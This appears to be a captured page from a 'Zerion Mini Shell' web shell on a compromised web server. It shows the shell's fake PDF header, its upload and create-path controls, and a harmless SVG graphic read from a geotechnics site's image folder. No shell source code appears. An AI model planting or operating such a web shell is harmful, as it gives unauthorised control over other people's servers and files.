%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/geotechnics/web/assets/images/
Upload File :
Create Path :
Current File : /var/www/html/geotechnics/web/assets/images/finite.svg

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<polygon opacity="0.3" fill="#9299A0" points="397.467,823.235 512.001,616.624 626.53,823.235 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="168.406,823.235 282.936,616.624 397.467,823.235 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="53.874,823.235 53.874,616.624 168.406,823.235 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="626.53,823.235 741.063,616.624 855.594,823.235 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="855.594,823.235 970.128,616.624 970.128,823.235 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="397.467,616.624 512.001,410.008 626.53,616.624 	"/>
	<polygon fill="#00A593" points="168.406,616.624 282.936,410.008 397.467,616.624 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="626.53,616.624 741.063,410.008 855.594,616.624 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="855.594,616.624 970.128,410.008 970.128,616.624 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="397.467,410.008 512.001,203.416 626.53,410.008 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="168.406,410.008 282.936,203.416 397.467,410.008 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="53.874,616.624 53.874,410.008 168.406,616.624 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="53.874,410.008 53.874,203.416 168.406,410.008 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="626.53,410.008 741.063,203.416 855.594,410.008 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="855.594,410.008 970.128,203.416 970.128,410.008 	"/>
	<polygon opacity="0.2" fill="#9299A0" points="970.128,203.416 855.594,410.008 741.059,203.416 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="741.059,203.416 626.522,410.008 512.001,203.416 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="512.001,203.416 397.467,410.008 282.936,203.416 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="282.936,203.416 168.402,410.008 53.874,203.416 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="970.128,410.008 855.594,616.624 741.059,410.008 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="741.059,410.008 626.522,616.624 512.001,410.008 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="512.001,410.008 397.467,616.624 282.936,410.008 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="282.936,410.008 168.402,616.624 53.874,410.008 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="970.128,616.624 855.594,823.235 741.059,616.624 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="741.059,616.624 626.522,823.235 512.001,616.624 	"/>
	<polygon opacity="0.1" fill="#9299A0" points="512.001,616.624 397.467,823.235 282.936,616.624 	"/>
	<polygon opacity="0.3" fill="#9299A0" points="282.936,616.624 168.402,823.235 53.874,616.624 	"/>
	<path fill="#9299A0" d="M970.128,836.75H53.874c-8.932,0-16.171-7.237-16.171-16.169c0-8.929,7.239-16.167,16.171-16.167h916.255
		c8.927,0,16.168,7.238,16.168,16.167C986.296,829.514,979.055,836.75,970.128,836.75z"/>
	<path fill="#9299A0" d="M970.128,219.586H53.874c-8.932,0-16.171-7.238-16.171-16.17s7.239-16.17,16.171-16.17h916.255
		c8.927,0,16.168,7.238,16.168,16.17S979.055,219.586,970.128,219.586z"/>
</g>
</svg>

Zerion Mini Shell 1.0